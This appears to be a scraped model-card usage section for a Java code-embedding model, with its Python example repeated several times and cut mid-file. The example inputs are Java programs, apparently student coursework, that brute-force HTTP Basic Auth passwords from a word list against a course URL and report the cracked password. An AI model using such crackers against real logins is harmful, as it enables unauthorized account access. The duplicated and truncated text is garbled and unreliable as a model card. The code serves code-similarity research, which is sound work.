                 new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    